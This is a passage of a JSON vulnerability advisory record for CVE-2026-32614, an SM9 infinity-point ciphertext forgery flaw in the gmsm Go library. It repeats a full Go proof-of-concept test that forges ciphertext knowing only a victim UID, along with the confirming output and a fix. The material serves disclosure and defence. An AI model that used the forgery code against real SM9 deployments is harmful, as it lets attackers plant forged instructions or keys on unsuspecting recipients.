                                "name": "vers:unknown/v0.9.2",
                                "product": {
                                    "name": "vers:unknown/v0.9.2",
                                    "product_id": "CSAFPID-5910462"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "gmsm"
                    }
                ],
                "category": "vendor",
                "name": "emmansun"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-32614",
            "cwe": {
                "id": "CWE-347",
                "name": "Improper Verification of Cryptographic Signature"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Overview\n\nThe current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity.\n\nIn the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check.\n\n## Impact\n\nThe direct impact of this vulnerability is ciphertext forgery, not confidentiality loss.\n\n- The attacker does not need the master public key, the user's private key, or any other secret material.\n- The attacker only needs to know the target UID to construct a seemingly valid ciphertext.\n- When the recipient invokes the SM9 decryption API, the forged ciphertext decrypts successfully to attacker-chosen plaintext.\n- The C3 integrity check also passes, so this is not merely a format bypass, but a full forgery.\n\nThis issue affects the following paths because they all eventually enter the same `UnwrapKey` logic:\n\n- `sm9.Decrypt`\n- `sm9.DecryptASN1`\n- `sm9.UnwrapKey`\n\nThis means the issue affects not only public-key encryption/decryption, but also key encapsulation/decapsulation.\n\n## Severity\n\nThis vulnerability should be rated as High.\n\nUsing CVSS 3.1 as a reference, it can be characterized as follows:\n\n- Attack vector: Network\n- Attack complexity: Low\n- Privileges required: None\n- User interaction: None\n- Confidentiality impact: Low or None\n- Integrity impact: High\n- Availability impact: None\n\nOverall, the estimated score falls in the High range, approximately 7.5.\n\nIt is High rather than Critical for the following reasons:\n\n- It does not directly expose private keys and cannot directly decrypt legitimately generated ciphertexts.\n- However, it can reliably break the authenticity and integrity assumptions of decrypted data.\n- In any system that assumes only a legitimate sender can produce ciphertext that decrypts successfully, this is already a serious security failure.\n\n## Typical Risk Scenarios\n\n- An attacker forges a business message that can be successfully decrypted by the target user.\n- The application mistakenly treats successful decryption as evidence that the message came from a legitimate encrypting party.\n- The attacker tricks the recipient into accepting forged instructions, forged notifications, or forged key material.\n\nIf a system treats SM9 ciphertext as both confidential and trustworthy in origin, this vulnerability directly breaks that trust assumption.\n\n## Root Cause\n\nThe root cause is that the implementation does not fully enforce the standard's decryption requirements: C1 must belong to the correct group, and C1 must not be the point at infinity.\n\nIt is important to be precise here: the point at infinity is itself a valid element of the elliptic-curve group and is mathematically on-curve. That is not the problem. The problem is not that the implementation incorrectly accepts the point at infinity as an on-curve point. Rather, the SM9 decryption procedure must do more than check that C1 is well-formed and on the curve; it must also explicitly reject C1 when it equals the group identity element O.\n\nThe current code only checks:\n\n- Whether C1 can be successfully deserialized\n- Whether C1 is on the curve\n\nBut it is missing:\n\n- `C1 != O` (the point at infinity)\n\nIn other words, the issue is not that the on-curve check is wrong, but that the implementation omits the additional rejection of the group identity element. That omission is what makes the attack possible.\n\n## Vulnerability recurrence\n\nThe overall process is as follows:\n1. XOR the target plaintext with `key[:len(plaintext)]` to obtain `C2`.\n2. Calculate `C3 = SM3(C2 || key[len(plaintext):])`, which involves concatenating `C2` with the latter part of the key and then computing the SM3 hash.\n3. Construct the ciphertext as `ciphertext = C1 || C3 || C2`, which means concatenating `C1`, `C3`, and `C2` to form the final ciphertext.\n4. Call `sm9.Decrypt(userKey, uid, ciphertext, sm9.DefaultEncrypterOpts)` for decryption.\n7. Note that the PoC code did not use `userKey` when constructing the ciphertext. Therefore, if the decryption is successful and the target plaintext is obtained, it proves that the attack was successful.\n\n```go\npackage sm9_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"testing\"\n\n\t\"github.com/emmansun/gmsm/internal/sm9/bn256\"\n\t\"github.com/emmansun/gmsm/sm3\"\n\t\"github.com/emmansun/gmsm/sm9\"\n)\n\nfunc TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) {\n\tmasterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\thid := byte(0x01)\n\tuid := []byte(\"victim@example.com\")\n\n\tuserKey, err := masterKey.GenerateUserKey(uid, hid)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext := []byte(\"forged-without-public-encryption\")\n\n\tc1 := make([]byte, 64)\n\tgtIdentity := new(bn256.GT).SetOne()\n\n\tvar kdfInput []byte\n\tkdfInput = append(kdfInput, c1...)\n\tkdfInput = append(kdfInput, gtIdentity.Marshal()...)\n\tkdfInput = append(kdfInput, uid...)\n\n\tkey1Len := len(plaintext)\n\tforgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size)\n\n\tc2 := make([]byte, key1Len)\n\tfor i := range c2 {\n\t\tc2[i] = plaintext[i] ^ forgeKey[i]\n\t}\n\n\thash := sm3.New()\n\thash.Write(c2)\n\thash.Write(forgeKey[key1Len:])\n\tc3 := hash.Sum(nil)\n\n\tforgedCiphertext := make([]byte, 0, 64+32+key1Len)\n\tforgedCiphertext = append(forgedCiphertext, c1...)\n\tforgedCiphertext = append(forgedCiphertext, c3...)\n\tforgedCiphertext = append(forgedCiphertext, c2...)\n\n\trecovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)\n\tif err != nil {\n\t\tt.Fatalf(\"public Decrypt rejected forged ciphertext: %v\", err)\n\t}\n\n\tif !bytes.Equal(recovered, plaintext) {\n\t\tt.Fatalf(\"plaintext mismatch: got %q, want %q\", string(recovered), string(plaintext))\n\t}\n\n\tt.Logf(\"VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q\", string(recovered))\n}\n```\n\n*Output*: VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=\"forged-without-public-encryption\"\n\n\n## Remediation\n\nIn the shared `UnwrapKey` path used by both SM9 decryption and decapsulation, add an explicit rejection of the point at infinity after `Unmarshal` and `IsOnCurve` succeed.\n\nConceptually:\n\n```go\nif p.IsInfinity() {\n    return nil, ErrDecryption\n}\n```\n\nAfter the fix, unit tests should be added to ensure that:\n\n- An all-zero C1 is rejected\n- The raw ciphertext path rejects the forged input\n- The ASN.1 ciphertext path rejects the forged input\n- `UnwrapKey` also rejects the forged input",
                    "title": "github - https://github.com/advisories/GHSA-5xxp-2vrj-x855"
                },
                {
                    "category": "description",
                    "text": "## Overview\n\nThe current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity.\n\nIn the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check.\n\n## Impact\n\nThe direct impact of this vulnerability is ciphertext forgery, not confidentiality loss.\n\n- The attacker does not need the master public key, the user's private key, or any other secret material.\n- The attacker only needs to know the target UID to construct a seemingly valid ciphertext.\n- When the recipient invokes the SM9 decryption API, the forged ciphertext decrypts successfully to attacker-chosen plaintext.\n- The C3 integrity check also passes, so this is not merely a format bypass, but a full forgery.\n\nThis issue affects the following paths because they all eventually enter the same `UnwrapKey` logic:\n\n- `sm9.Decrypt`\n- `sm9.DecryptASN1`\n- `sm9.UnwrapKey`\n\nThis means the issue affects not only public-key encryption/decryption, but also key encapsulation/decapsulation.\n\n## Severity\n\nThis vulnerability should be rated as High.\n\nUsing CVSS 3.1 as a reference, it can be characterized as follows:\n\n- Attack vector: Network\n- Attack complexity: Low\n- Privileges required: None\n- User interaction: None\n- Confidentiality impact: Low or None\n- Integrity impact: High\n- Availability impact: None\n\nOverall, the estimated score falls in the High range, approximately 7.5.\n\nIt is High rather than Critical for the following reasons:\n\n- It does not directly expose private keys and cannot directly decrypt legitimately generated ciphertexts.\n- However, it can reliably break the authenticity and integrity assumptions of decrypted data.\n- In any system that assumes only a legitimate sender can produce ciphertext that decrypts successfully, this is already a serious security failure.\n\n## Typical Risk Scenarios\n\n- An attacker forges a business message that can be successfully decrypted by the target user.\n- The application mistakenly treats successful decryption as evidence that the message came from a legitimate encrypting party.\n- The attacker tricks the recipient into accepting forged instructions, forged notifications, or forged key material.\n\nIf a system treats SM9 ciphertext as both confidential and trustworthy in origin, this vulnerability directly breaks that trust assumption.\n\n## Root Cause\n\nThe root cause is that the implementation does not fully enforce the standard's decryption requirements: C1 must belong to the correct group, and C1 must not be the point at infinity.\n\nIt is important to be precise here: the point at infinity is itself a valid element of the elliptic-curve group and is mathematically on-curve. That is not the problem. The problem is not that the implementation incorrectly accepts the point at infinity as an on-curve point. Rather, the SM9 decryption procedure must do more than check that C1 is well-formed and on the curve; it must also explicitly reject C1 when it equals the group identity element O.\n\nThe current code only checks:\n\n- Whether C1 can be successfully deserialized\n- Whether C1 is on the curve\n\nBut it is missing:\n\n- `C1 != O` (the point at infinity)\n\nIn other words, the issue is not that the on-curve check is wrong, but that the implementation omits the additional rejection of the group identity element. That omission is what makes the attack possible.\n\n## Vulnerability recurrence\n\nThe overall process is as follows:\n1. XOR the target plaintext with `key[:len(plaintext)]` to obtain `C2`.\n2. Calculate `C3 = SM3(C2 || key[len(plaintext):])`, which involves concatenating `C2` with the latter part of the key and then computing the SM3 hash.\n3. Construct the ciphertext as `ciphertext = C1 || C3 || C2`, which means concatenating `C1`, `C3`, and `C2` to form the final ciphertext.\n4. Call `sm9.Decrypt(userKey, uid, ciphertext, sm9.DefaultEncrypterOpts)` for decryption.\n7. Note that the PoC code did not use `userKey` when constructing the ciphertext. Therefore, if the decryption is successful and the target plaintext is obtained, it proves that the attack was successful.\n\n```go\npackage sm9_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"testing\"\n\n\t\"github.com/emmansun/gmsm/internal/sm9/bn256\"\n\t\"github.com/emmansun/gmsm/sm3\"\n\t\"github.com/emmansun/gmsm/sm9\"\n)\n\nfunc TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) {\n\tmasterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\thid := byte(0x01)\n\tuid := []byte(\"victim@example.com\")\n\n\tuserKey, err := masterKey.GenerateUserKey(uid, hid)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext := []byte(\"forged-without-public-encryption\")\n\n\tc1 := make([]byte, 64)\n\tgtIdentity := new(bn256.GT).SetOne()\n\n\tvar kdfInput []byte\n\tkdfInput = append(kdfInput, c1...)\n\tkdfInput = append(kdfInput, gtIdentity.Marshal()...)\n\tkdfInput = append(kdfInput, uid...)\n\n\tkey1Len := len(plaintext)\n\tforgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size)\n\n\tc2 := make([]byte, key1Len)\n\tfor i := range c2 {\n\t\tc2[i] = plaintext[i] ^ forgeKey[i]\n\t}\n\n\thash := sm3.New()\n\thash.Write(c2)\n\thash.Write(forgeKey[key1Len:])\n\tc3 := hash.Sum(nil)\n\n\tforgedCiphertext := make([]byte, 0, 64+32+key1Len)\n\tforgedCiphertext = append(forgedCiphertext, c1...)\n\tforgedCiphertext = append(forgedCiphertext, c3...)\n\tforgedCiphertext = append(forgedCiphertext, c2...)\n\n\trecovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)\n\tif err != nil {\n\t\tt.Fatalf(\"public Decrypt rejected forged ciphertext: %v\", err)\n\t}\n\n\tif !bytes.Equal(recovered, plaintext) {\n\t\tt.Fatalf(\"plaintext mismatch: got %q, want %q\", string(recovered), string(plaintext))\n\t}\n\n\tt.Logf(\"VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q\", string(recovered))\n}\n```\n\n*Output*: VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=\"forged-without-public-encryption\"\n\n\n## Remediation\n\nIn the shared `UnwrapKey` path used by both SM9 decryption and decapsulation, add an explicit rejection of the point at infinity after `Unmarshal` and `IsOnCurve` succeed.\n\nConceptually:\n\n```go\nif p.IsInfinity() {\n    return nil, ErrDecryption\n}\n```\n\nAfter the fix, unit tests should be added to ensure that:\n\n- An all-zero C1 is rejected\n- The raw ciphertext path rejects the forged input\n- The ASN.1 ciphertext path rejects the forged input\n- `UnwrapKey` also rejects the forged input",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-5xxp-2vrj-x855.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Go ShangMi (Commercial Cryptography) Library (GMSM) is a cryptographic library that covers the Chinese commercial cryptographic public algorithms SM2/SM3/SM4/SM9/ZUC. Prior to 0.41.1, the current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity. In the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check. This vulnerability is fixed in 0.41.1.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-32614"
                },
                {
                    "category": "description",
                    "text": "Go ShangMi (Commercial Cryptography) Library (GMSM) is a cryptographic library that covers the Chinese commercial cryptographic public algorithms SM2/SM3/SM4/SM9/ZUC. Prior to 0.41.1, the current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity. In the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check. This vulnerability is fixed in 0.41.1.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-32614"
                },
                {
                    "category": "description",
                    "text": "## Overview\n\nThe current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity.\n\nIn the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check.\n\n## Impact\n\nThe direct impact of this vulnerability is ciphertext forgery, not confidentiality loss.\n\n- The attacker does not need the master public key, the user's private key, or any other secret material.\n- The attacker only needs to know the target UID to construct a seemingly valid ciphertext.\n- When the recipient invokes the SM9 decryption API, the forged ciphertext decrypts successfully to attacker-chosen plaintext.\n- The C3 integrity check also passes, so this is not merely a format bypass, but a full forgery.\n\nThis issue affects the following paths because they all eventually enter the same `UnwrapKey` logic:\n\n- `sm9.Decrypt`\n- `sm9.DecryptASN1`\n- `sm9.UnwrapKey`\n\nThis means the issue affects not only public-key encryption/decryption, but also key encapsulation/decapsulation.\n\n## Severity\n\nThis vulnerability should be rated as High.\n\nUsing CVSS 3.1 as a reference, it can be characterized as follows:\n\n- Attack vector: Network\n- Attack complexity: Low\n- Privileges required: None\n- User interaction: None\n- Confidentiality impact: Low or None\n- Integrity impact: High\n- Availability impact: None\n\nOverall, the estimated score falls in the High range, approximately 7.5.\n\nIt is High rather than Critical for the following reasons:\n\n- It does not directly expose private keys and cannot directly decrypt legitimately generated ciphertexts.\n- However, it can reliably break the authenticity and integrity assumptions of decrypted data.\n- In any system that assumes only a legitimate sender can produce ciphertext that decrypts successfully, this is already a serious security failure.\n\n## Typical Risk Scenarios\n\n- An attacker forges a business message that can be successfully decrypted by the target user.\n- The application mistakenly treats successful decryption as evidence that the message came from a legitimate encrypting party.\n- The attacker tricks the recipient into accepting forged instructions, forged notifications, or forged key material.\n\nIf a system treats SM9 ciphertext as both confidential and trustworthy in origin, this vulnerability directly breaks that trust assumption.\n\n## Root Cause\n\nThe root cause is that the implementation does not fully enforce the standard's decryption requirements: C1 must belong to the correct group, and C1 must not be the point at infinity.\n\nIt is important to be precise here: the point at infinity is itself a valid element of the elliptic-curve group and is mathematically on-curve. That is not the problem. The problem is not that the implementation incorrectly accepts the point at infinity as an on-curve point. Rather, the SM9 decryption procedure must do more than check that C1 is well-formed and on the curve; it must also explicitly reject C1 when it equals the group identity element O.\n\nThe current code only checks:\n\n- Whether C1 can be successfully deserialized\n- Whether C1 is on the curve\n\nBut it is missing:\n\n- `C1 != O` (the point at infinity)\n\nIn other words, the issue is not that the on-curve check is wrong, but that the implementation omits the additional rejection of the group identity element. That omission is what makes the attack possible.\n\n## Vulnerability recurrence\n\nThe overall process is as follows:\n1. XOR the target plaintext with `key[:len(plaintext)]` to obtain `C2`.\n2. Calculate `C3 = SM3(C2 || key[len(plaintext):])`, which involves concatenating `C2` with the latter part of the key and then computing the SM3 hash.\n3. Construct the ciphertext as `ciphertext = C1 || C3 || C2`, which means concatenating `C1`, `C3`, and `C2` to form the final ciphertext.\n4. Call `sm9.Decrypt(userKey, uid, ciphertext, sm9.DefaultEncrypterOpts)` for decryption.\n7. Note that the PoC code did not use `userKey` when constructing the ciphertext. Therefore, if the decryption is successful and the target plaintext is obtained, it proves that the attack was successful.\n\n```go\npackage sm9_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"testing\"\n\n\t\"github.com/emmansun/gmsm/internal/sm9/bn256\"\n\t\"github.com/emmansun/gmsm/sm3\"\n\t\"github.com/emmansun/gmsm/sm9\"\n)\n\nfunc TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) {\n\tmasterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\thid := byte(0x01)\n\tuid := []byte(\"victim@example.com\")\n\n\tuserKey, err := masterKey.GenerateUserKey(uid, hid)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext := []byte(\"forged-without-public-encryption\")\n\n\tc1 := make([]byte, 64)\n\tgtIdentity := new(bn256.GT).SetOne()\n\n\tvar kdfInput []byte\n\tkdfInput = append(kdfInput, c1...)\n\tkdfInput = append(kdfInput, gtIdentity.Marshal()...)\n\tkdfInput = append(kdfInput, uid...)\n\n\tkey1Len := len(plaintext)\n\tforgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size)\n\n\tc2 := make([]byte, key1Len)\n\tfor i := range c2 {\n\t\tc2[i] = plaintext[i] ^ forgeKey[i]\n\t}\n\n\thash := sm3.New()\n\thash.Write(c2)\n\thash.Write(forgeKey[key1Len:])\n\tc3 := hash.Sum(nil)\n\n\tforgedCiphertext := make([]byte, 0, 64+32+key1Len)\n\tforgedCiphertext = append(forgedCiphertext, c1...)\n\tforgedCiphertext = append(forgedCiphertext, c3...)\n\tforgedCiphertext = append(forgedCiphertext, c2...)\n\n\trecovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)\n\tif err != nil {\n\t\tt.Fatalf(\"public Decrypt rejected forged ciphertext: %v\", err)\n\t}\n\n\tif !bytes.Equal(recovered, plaintext) {\n\t\tt.Fatalf(\"plaintext mismatch: got %q, want %q\", string(recovered), string(plaintext))\n\t}\n\n\tt.Logf(\"VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q\", string(recovered))\n}\n```\n\n*Output*: VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=\"forged-without-public-encryption\"\n\n\n## Remediation\n\nIn the shared `UnwrapKey` path used by both SM9 decryption and decapsulation, add an explicit rejection of the point at infinity after `Unmarshal` and `IsOnCurve` succeed.\n\nConceptually:\n\n```go\nif p.IsInfinity() {\n    return nil, ErrDecryption\n}\n```\n\nAfter the fix, unit tests should be added to ensure that:\n\n- An all-zero C1 is rejected\n- The raw ciphertext path rejects the forged input\n- The ASN.1 ciphertext path rejects the forged input\n- `UnwrapKey` also rejects the forged input",
                    "title": "github - https://api.github.com/advisories/GHSA-5xxp-2vrj-x855"
                },
                {
                    "category": "description",
                    "text": "SM9 Infinity-Point Ciphertext Forgery Vulnerability in github.com/emmansun/gmsm",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4694.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Go ShangMi (Commercial Cryptography) Library (GMSM) is a cryptographic library that covers the Chinese commercial cryptographic public algorithms SM2/SM3/SM4/SM9/ZUC. Prior to 0.41.1, the current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity. In the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check. This vulnerability is fixed in 0.41.1.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-32614.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00016",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "9.2",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "4.4",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is product data available from source Cveprojectv5",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "There is cwe data available from source Nvd, The value of the most recent EPSS score",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5815324",
                    "CSAFPID-5825953",
                    "CSAFPID-5910336",
                    "CSAFPID-5910337",
                    "CSAFPID-5910338",
                    "CSAFPID-5910339",
                    "CSAFPID-5910340",
                    "CSAFPID-5910341",
                    "CSAFPID-5910342",
                    "CSAFPID-5910343",
                    "CSAFPID-5910344",
                    "CSAFPID-5910345",
                    "CSAFPID-5910346",
                    "CSAFPID-5910347",
                    "CSAFPID-5910348",
                    "CSAFPID-5910349",
                    "CSAFPID-5910350",
                    "CSAFPID-5910351",
                    "CSAFPID-5910352",
                    "CSAFPID-5910353",
                    "CSAFPID-5910354",
                    "CSAFPID-5910355",
                    "CSAFPID-5910356",
                    "CSAFPID-5910357",
                    "CSAFPID-5910358",
                    "CSAFPID-5910359",
                    "CSAFPID-5910360",
                    "CSAFPID-5910361",
                    "CSAFPID-5910362",
                    "CSAFPID-5910363",
                    "CSAFPID-5910364",
                    "CSAFPID-5910365",
                    "CSAFPID-5910366",
                    "CSAFPID-5910367",
                    "CSAFPID-5910368",
                    "CSAFPID-5910369",
                    "CSAFPID-5910370",
                    "CSAFPID-5910371",
                    "CSAFPID-5910372",
                    "CSAFPID-5910373",
                    "CSAFPID-5910374",
                    "CSAFPID-5910375",
                    "CSAFPID-5910376",
                    "CSAFPID-5910377",
                    "CSAFPID-5910378",
                    "CSAFPID-5910379",
                    "CSAFPID-5910380",
                    "CSAFPID-5910381",
                    "CSAFPID-5910382",
                    "CSAFPID-5910383",
                    "CSAFPID-5910384",
                    "CSAFPID-5910385",
                    "CSAFPID-5910386",
                    "CSAFPID-5910387",
                    "CSAFPID-5910388",
                    "CSAFPID-5910389",
                    "CSAFPID-5910390",
                    "CSAFPID-5910391",
                    "CSAFPID-5910392",
                    "CSAFPID-5910393",
                    "CSAFPID-5910394",
                    "CSAFPID-5910395",
                    "CSAFPID-5910396",
                    "CSAFPID-5910397",
                    "CSAFPID-5910398",
                    "CSAFPID-5910399",
                    "CSAFPID-5910400",
                    "CSAFPID-5910401",
                    "CSAFPID-5910402",
                    "CSAFPID-5910403",
                    "CSAFPID-5910404",
                    "CSAFPID-5910405",
                    "CSAFPID-5910406",
                    "CSAFPID-5910407",
                    "CSAFPID-5910408",
                    "CSAFPID-5910409",
                    "CSAFPID-5910410",
                    "CSAFPID-5910411",
                    "CSAFPID-5910412",
                    "CSAFPID-5910413",
                    "CSAFPID-5910414",
                    "CSAFPID-5910415",
                    "CSAFPID-5910416",
                    "CSAFPID-5910417",
                    "CSAFPID-5910418",
                    "CSAFPID-5910419",
                    "CSAFPID-5910420",
                    "CSAFPID-5910421",
                    "CSAFPID-5910422",
                    "CSAFPID-5910423",
                    "CSAFPID-5910424",
                    "CSAFPID-5910425",
                    "CSAFPID-5910426",
                    "CSAFPID-5910427",
                    "CSAFPID-5910428",
                    "CSAFPID-5910429",
                    "CSAFPID-5910430",
                    "CSAFPID-5910431",
                    "CSAFPID-5910432",
                    "CSAFPID-5910433",
                    "CSAFPID-5910434",
                    "CSAFPID-5910435",
                    "CSAFPID-5910436",
                    "CSAFPID-5910437",
                    "CSAFPID-5910438",
                    "CSAFPID-5910439",
                    "CSAFPID-5910440",
                    "CSAFPID-5910441",
                    "CSAFPID-5910442",
                    "CSAFPID-5910443",
                    "CSAFPID-5910444",
                    "CSAFPID-5910445",
                    "CSAFPID-5910446",
                    "CSAFPID-5910447",
                    "CSAFPID-5910448",
                    "CSAFPID-5910449",
                    "CSAFPID-5910450",
                    "CSAFPID-5910451",
                    "CSAFPID-5910452",
                    "CSAFPID-5910453",
                    "CSAFPID-5910454",
                    "CSAFPID-5910455",
                    "CSAFPID-5910456",
                    "CSAFPID-5910457",
                    "CSAFPID-5910458",
                    "CSAFPID-5910459",
                    "CSAFPID-5910460",
                    "CSAFPID-5910461",
                    "CSAFPID-5910462"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-5xxp-2vrj-x855"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-5xxp-2vrj-x855"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-5xxp-2vrj-x855.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-32614"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32614.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32614"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32614"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32614"
                },
                {
                    "category": "external",
                    "summary": "Source - ncscinternal",
                    "url": "https://www.ncsc.nl/internal/CVE-2026-32614"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-5xxp-2vrj-x855"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4694.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-32614.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/emmansun/gmsm/security/advisories/GHSA-5xxp-2vrj-x855"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://github.com/emmansun/gmsm/releases/tag/v0.41.1"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-5xxp-2vrj-x855"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32614"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://pkg.go.dev/vuln/GO-2026-4694"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32614.json"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
                        "baseScore": 7.5,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5815324",
                        "CSAFPID-5825953",
                        "CSAFPID-5910336",
                        "CSAFPID-5910337",
                        "CSAFPID-5910338",
                        "CSAFPID-5910339",
                        "CSAFPID-5910340",
                        "CSAFPID-5910341",
                        "CSAFPID-5910342",
